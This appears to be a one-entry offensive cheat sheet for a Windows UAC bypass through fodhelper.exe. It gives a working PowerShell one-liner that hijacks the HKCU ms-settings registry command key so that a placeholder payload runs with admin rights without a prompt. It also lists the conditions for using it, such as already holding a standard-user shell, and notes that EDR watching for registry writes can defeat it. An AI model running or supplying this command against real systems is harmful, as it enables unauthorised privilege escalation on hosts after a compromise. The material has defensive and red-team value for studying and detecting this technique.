UAC bypass fodhelper

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force ; Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c <payload>" ; Start-Process "C:\Windows\System32\fodhelper.exe"

UAC bypass using fodhelper.exe: hijack the HKCU ms-settings registry key so the signed Windows binary executes your elevated payload.

When you have a shell as a standard user on a host with UAC at high level (default) and need to run a process with admin privileges without a prompt. fodhelper.exe is a Microsoft-signed binary that auto-elevates and executes the registry command.

If policy restricts auto-elevation of signed binaries (UAC with 'Prompt for consent' for admins) or the EDR monitors writes to HKCU\Software\Classes. Also doesn't work if you're already a local admin with UAC disabled.